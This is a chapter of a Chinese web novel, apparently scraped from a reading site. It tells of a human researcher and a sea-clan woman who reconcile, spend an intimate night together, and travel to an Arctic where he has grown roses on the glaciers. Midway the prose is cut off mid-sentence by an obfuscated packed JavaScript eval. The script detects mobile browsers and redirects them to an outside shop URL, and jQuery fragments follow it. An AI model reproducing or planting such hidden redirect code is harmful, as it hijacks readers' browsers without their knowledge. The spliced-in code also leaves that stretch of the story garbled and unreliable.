82. 北极夜逐光

作品:《财阀乱世:北极老姐杀成大爹心尖宠

    虞雨眠感觉自己的脸又变烫了。


    江从邦像是能看穿她的心思一样,微凉的手背贴到了她的脸颊上,俯身离她离得更近,两人几乎是脸贴着脸,连呼吸都在交汇,“好了,我帮你拆糖纸,你来涮笔试色吧。”


    一块一块小颜料散落在茶几上,倒还真是像堆糖果块。


    江从邦一角一角,拆开颜料的包装,按照色系,她的喜好,还有习惯摆好。


    一颗一颗颜料块,有序地卡放在方盒的凹槽上,虞雨眠涮好了笔,继续试色,两个人的速度恰到好处,几近同频。


    虞雨眠涂完了最后一块黑色,在涮笔桶里把笔涮好,提手甩了甩笔尖的水渍,把笔搁置好。


    “这么会哄人,你之前有过多少个女人啊?”


    江从邦眉峰一皱,“为什么这么问?我只喜欢过你一个人啊…”


    期待已久的心花在慢慢盛放,虞雨眠继续犀利地追问,“那你这么无师自通啊?”


    江从邦“啧”了一声,“当然,你的一切我都想了解,为了让你开心,我可以去学啊,要是说…我偷偷研究过,你是不是又要笑话我?”


    虞雨眠唇角浮起一抹笑意。江从邦握住她的手,下巴略微侧起,逼近到了危险的距离。“难道你之前就没查过我吗?你见到过我身边,有其它的人吗?”


    白皙纤细的手指从他手掌撤出来,虞雨眠反手握住了他的指节,细细揉搓着。江从邦常年手握实验器材,但薄茧下面,是柔软到心里的指腹。


    虞雨眠想说些什么,抿了抿唇,却没个下文。


    “嗯?”江从邦歪头挑眉。


    谁知,虞雨眠甩开了他的手,淡淡一句,“我累了,要去洗澡。”


    江从邦挑眉,摇头笑了笑。


    虞雨眠足足洗了半个小时还多,硬是有种要搓下层皮的架势。温湿的热气嗅入鼻腔肺腑,每一寸皮肤都感到极度的舒适。


    咔哒——她打开浴室门的瞬间,差点和江从邦撞上。


    虞雨眠吓得一个哆嗦,瞥了他一眼,而后当作没看见似的,闪身离开。


    江从邦转头瞥见她匆忙慌乱的样子,勾起了嘴角。


    虞雨眠扯过被子,钻进被窝里,在床的一侧闭上眼蜷缩了起来。


    哗啦啦——浴室的水声停下来了。


    江从邦冲洗完,走进了卧室。


    介于之前所有的经历,刹那间,虞雨眠感觉自己全身的神经细胞,都已经被调动起来了。


    谁知,江从邦只是再平常不过地关了灯,上了床。


    “对不起,眠眠……”


    “你真的很喜欢安静。”


    “我只喜欢过你一个人啊……”


    他白天和之前所有的话都萦绕在耳畔,虞雨眠心事重重,根本说不上来是什么滋味。


    不知道过去了多久,她悄悄转过身,偷偷凝望着熟睡的江从邦。


    窗帘虚掩着,却掩不住皎洁柔美的月光。


    江从邦的黑绸睡袍松松垮垮地穿在身上,胸前的领子并不严实,露出了小半片紧致的肌肉线条。淡美的月光洒在他的身上,原本轮廓分明的脸,在此刻也显得温柔静好。


    他喉结上的那颗黑色的小痣,总会让人鬼迷心窍。


    虞雨眠鬼使神差地伸出了手,下一秒,手腕猛然一紧!


    江从邦睁开了眼。


    那双深琥珀色的眸子,既似明耀的旭日,也像温柔的夕阳。


    “眠眠,你在看我?”他的语调是反问,可语义却不是。


    江从邦扣着她的手腕,压了过来,“你在看我的时候,心里在想什么呢?”


    “嗯?”他的头已经垂在了她的肩颈。


    少顷,虞雨眠吐了一口气,“月光很美……”


    江从邦的呼吸洒在了她的颈侧,炽烈的热度真实可感,像是要把一切都暴露,坦白。


    自从那一次她试图逃回北极开始,两人之间的感情从爆发对抗,变成了沉默已久的装聋作哑。


    但终究是无法忽视的。该说的话还是要说开。


    虞雨眠想的很开,只想着离开,想着割舍,或许时间是可以治愈一切的。但是,离开了江从邦,独自回到北极,她应该再也不会那么开心。


    扪心自问的现实。


    “好…那我先说。”江从邦的喉结攒动,他说,“我很清楚自己的感受。”


    “中州百年财阀争斗,但我最绝望的时候,我遇到了你……”


    “那是第一次,我感受到震撼。”江从邦掰起虞雨眠的下巴,强势地让她看着自己。


    一触即发的距离之下,几乎是脸贴着脸,他凝视着那双冰川海洋般灵动深邃的眸子,与她没有距离地对视着。


    “再次见到你,我只剩下了渴望。我总想,付出我的所有,来占据你。我就是想抱你,想亲你…我就是心痒难耐,想要对你,一次次为所欲为……”


    江从邦俯身,痴迷沉醉地凝视着她的眉眼,指尖摩挲过她的轮廓,眼底里尽是沉沦已久的沦陷,“真美……”他为她抓心挠肝,却又无法克制。


    “你…”虞雨眠的心跳在增生,不断趋近临界。


    猎人与猎物,人类和海族,他们是宿敌,是彼此一次又一次冲破的禁忌,也是难以宣之于口的挚爱。


    江从邦吻落在她颈侧,闭上了双眼。温热柔软的触感散开,呼吸在蒸腾着。


    曾经的一切,一张张模糊的画面,在脑海之中盘旋。


    虞雨眠闭眼,湿热的泪无声地顺着眼尾落了下来。


    江从邦感受到了脸侧的落泪,顿感一阵刺痛。


    “眠眠…”他的声音都在发颤。


    虞雨眠却抬起手,手背挡住了双眼还有小半张脸。


    江从邦骤然坐起身,把她扶了起来,让她坐在自己身上,“你怎么哭了?”他想去轻轻掰开虞雨眠的胳膊。


    虞雨眠却主动放下了手,在热泪的浸染下,眼尾都泛起了嫣红。


    她尽力让自己无声地哭着,可呼吸却不受控致地颤抖。


    江从邦只感觉落在指缝上的泪,烫得难受。连呼吸都凝滞住了。


    他抬手去擦虞雨眠的眼泪,另一手轻抚着他后背,声音低沉温柔,“眠眠不哭了,再哭的话,眼睛会肿的…我最拿你没办法了……”


    虞雨眠紧抓着他的后背的衣服,绸质的睡衣被她抓出了褶皱,晶莹细小的泪珠,垂挂在长睫上似落非落,无比地绝美易碎。


    “不是…不是你,要跟我分手的吗……”


    虞雨眠哽咽着,泣不成声,“你知不知道我…我等了你三年啊……”


    “我总是会想,要是,能回到从前的时候该多好……你是人类,我是海族,你抓我一次,我跑一次,你抓我一次,我就跑一次…”


    “等什么时候我跑累了,我就自己回来找你,然后,把我想说的话,都告诉你……”


    江从邦的手停住了。


    连呼吸都在凝滞,狂喜和难受,两种情绪交织在一起,侵袭着一切,“对不起……”


    他最后悔的,就是自己说出的那两句话,心就像被揪扯住一样难受。


    虞雨眠承认了,她终于坦白了。


    “是我让你等了太久,对不起…老婆…”


    “都是我的错…”


    曾经的求之不得,抓心挠肝的无奈,等待的煎熬…都在此刻纾解泯灭。


    两个人兜兜转转十年,才终于来到彼此身边。


    他曾经一败涂地,在此刻,却也拥有一切。


    气氛在蒸腾着,汹涌滔天的爱意,在随着情绪卸闸。之前强制沉寂下去的欲望,在此刻放纵。


    头昏脑热中,理智被彻底磨灭。


    江从邦猛地把虞雨眠压在身下!


    “刺啦”——睡裙被他撩起撕开。


    “江…江从邦……”虞雨眠失措之际,抬手摸向了他的喉结。


    江从邦攥住了她的手,“眠眠…这里是不能乱摸的啊…”


    是轻哄,也是善劝。


    虞雨眠浑身上下都紧绷了起来。呼吸声在加重,膝盖被顶开,江从邦的肩膀压了下来,两个人的距离瞬间密不可分。


    月季香和琥珀香的信息素,无形地交汇痴缠,充斥着整个房间,虞雨眠眼角嫣红,心跳在擂动着,两个人一同沉沦。


    直冲灵魂的感觉刻骨铭心,江从邦靠在她的肩头,声线低沉蛊惑,他说,“老婆,你之前…说了那么多次谎,说不喜欢我…我生气了,老婆…你可要多担待些了……”


    江从邦宽硕结实的背,把她压在身下,紧贴之下,是无比的安全感。


    头脑中一阵阵充实的窒息感,被完全支配,还有全力的爱,数不清的感觉,在恍惚中极力地厮磨。


    虞雨眠像溺水的鱼一样,她握住浮木似的,抓住了江从邦结实有劲的肩膀,但是胳膊顿时吃力,指尖一道红痕划在了他的手臂上。


    月光透过纱窗碎为片片小块的光亮,洒在床头,洒在波光粼粼的大桥江面上,洒在郊区和都市,映照着世间万千的车水马龙。


    两天后。


    江从邦箍着虞雨眠的腰,将她按在腿上狠亲。虞雨眠眼中一片氤氲,头不自觉地向后倾到了沙发上。


    呼吸无比地粗重,好不容易,二人才分开一点,虞雨眠掌心捂住他的嘴,顺了顺略微凌乱的长发,“停……”


    她摸了摸许久了都消不下去的,肿肿的双唇。


    “嗯?”江从邦挑了挑眉。


    两个人已经这样如胶似漆,没有距离地,厮混了三天。


    连门都没出过。


    “我要出去透口气……”虞雨眠简直要撑不住了。


    她尝试着推开江从邦,谁料对方反问,“去哪?”


    虞雨眠一脸快要咽气的样子,“去院子里晒晒太阳!再这么跟你呆下去,我都要发霉了!”


    江从邦勾起嘴角,邪魅一笑。虞雨眠甩开了他的胳膊,一瘸一拐,艰难地移动着双腿,光是走到门前就花了大概五分钟。


    “老婆……”


    “闭嘴!不许跟着我,我要自己清净一会儿……”


    午间的光相


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895574|183115||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    比清晨更加耀眼,晒在身上,整个人都暖暖的。初春临夏,北方的气候也渐渐热了起来。


    胸前的血晶珠子,在阳光下折射出了一小角彩虹的光芒,虞雨眠坐在台阶上拿着一支素色的彩铅,在素描本上起形。


    哗——哗——哗——


    虞雨眠起好了形,换了另一支橙黄色的彩铅。


    一只小狸猫翻过围墙,落在了院子里。


    “你等等噢,我把你也画上……”虞雨眠抬头拿着笔指了指它。


    “喵呜~”,小猫像是能听懂一样,打了个哈欠,直接蹲坐在了院子里晒太阳,毛绒的小胖爪子挠了挠耳朵。


    叮咚——联络器传来一条消息。


    司葵:看到今天新闻热点了没!


    新闻头条……虞雨眠点进网页页去查看。


    #落槌!中州海洋海族保护法正式成立!


    《自然与科技并非对抗,愿我们真爱自然保护自然!》


    #今日热点话题:如何保护海洋,节约用水?


    虞雨眠眼前一亮,返回聊天框,“替所有海族,还有人类,感谢你和所有法官,为立法做出的巨大贡献!”


    “喵啊~”


    “嗯?”闻声,虞雨眠抬头。蹲在她对过的小狸猫甜腻地叫了一声,而后轻巧地跑了过去。


    “诶!你先别走啊……”虞雨眠轻扔下画本和联络器,就拖着腿踉跄着快跑了两步,想要追上它。


    江从邦从屋内走了出来,看着她向前去追小猫的背影,慢慢笑了。阳光照在她的身上,连每一缕丝发都带着肆意和热烈。


    下午,江从邦就带着虞雨眠全面检查了一遍身体,看着报告单上各项良好的数值,他才松下了眉头。悬着好久的心,终于安慰落地。


    几个小时后,江从邦从科研院回来,把一个特质的小型三棱柱保温盒交到了虞雨眠手上。


    那是灵遇的腺体。


    在桑闻落死后,腺体就分离了下来,各方一直遵照他的指示,留存在科研院。


    虞雨眠双手接过,抱在怀里,垂下了长睫,“灵遇叔……”


    这一次她没有哭,而是淡淡地笑了。


    江从邦说,“眠眠,我带你回北极,带你回家了……”


    “嗯…”


    银珠红色的龙身环绕着她,如烈日,如火轮,亦如初见。


    也是从那一刻起,枯骨有了血肉。


    赤色映在冰蓝色的海中,他们穿过了荒草地,穿过了贫瘠的冻土,来到了北极的冰川海,渐渐地,越来越近。


    北极正是极夜,炫彩夺目的极光曼妙飘散着,映入瞳中,像是气势磅礴的界域裂缝,诉说着绝美,而又危险的秘密。


    整个北极都蒙着一层深色的轻纱,在极光闪过的瞬间时而明亮。


    但是,一片不属于北极的色彩却闯入了视线。


    那是……那是花!


    是大片鲜红色的玫瑰花。


    些许艳红色的花瓣飘来,虞雨眠离得更近,她简直不相信自己的双眼。


    北极的冰川上,长出了大片的玫瑰花!


    惊讶之余,她猛地望向了江从邦。


    “是不是很美?”他抬手接过一片飘来的花瓣,“开始的时候我也没想过,我能研究成功…”


    “你说冰川上不会开出花来,可我还是想试一试。”


    虞雨眠心头一震。


    “我记不清楚,失败了多少次,但最后我成功了。”


    “眠眠…北极是可以生出花的,因为你说过,冰川上开出花来,你就会爱上我。”


    他继续说,“之前,你醒不过来的时候,我无数次地想过最坏的结果…如果说你永远都不会醒的话,那我就守在南极…”


    “我要在南极永远望着你,让我亲手种下的冰川玫瑰,开遍你钟爱的北极冰川。”


    虞雨眠的心跳再次达到新的阙值,冰凉的泪顺着眼眶落下,她闭上双眼,吻了上去。


    而后,虞雨眠再次看向了手里的小型保温箱。


    灵遇叔,大爸爸…我回来了,我们终于回家了,你看到了吗?我现在很幸福…


    她不会再为此落泪了。因为灵遇叔一直都在,他是北极永远的神明,他和北极的冰川湖海同在,万寿无疆。


    掌心贯起青冥色的冰川火,刹那间,一切都化作乌有。


    大片大片的红色玫瑰花生长在冰川上,如火焰般绝美浪漫,唯美热烈,倾诉着最虔诚汹涌的爱意。


    绚丽的极光映在了她的瞳孔上,虞雨眠抬手,无形地触摸着远在天际的极光。


    北极一到极夜就是昏黑一片,就连纯白的冰川上也很难映出光亮,于是,灵遇叔就会带着她,来到最远的天边,来追逐极光。


    后来,剩下她一个人了,她也在找寻着极光。


    去到人间,生活也是一场不知尽头的黑夜,但她一直都在努力地追寻着极光。


    不管是身为北极的捍卫者,还是作位一个寻常的女性,她都从未放弃过,追逐自己的极光。


    【正文完】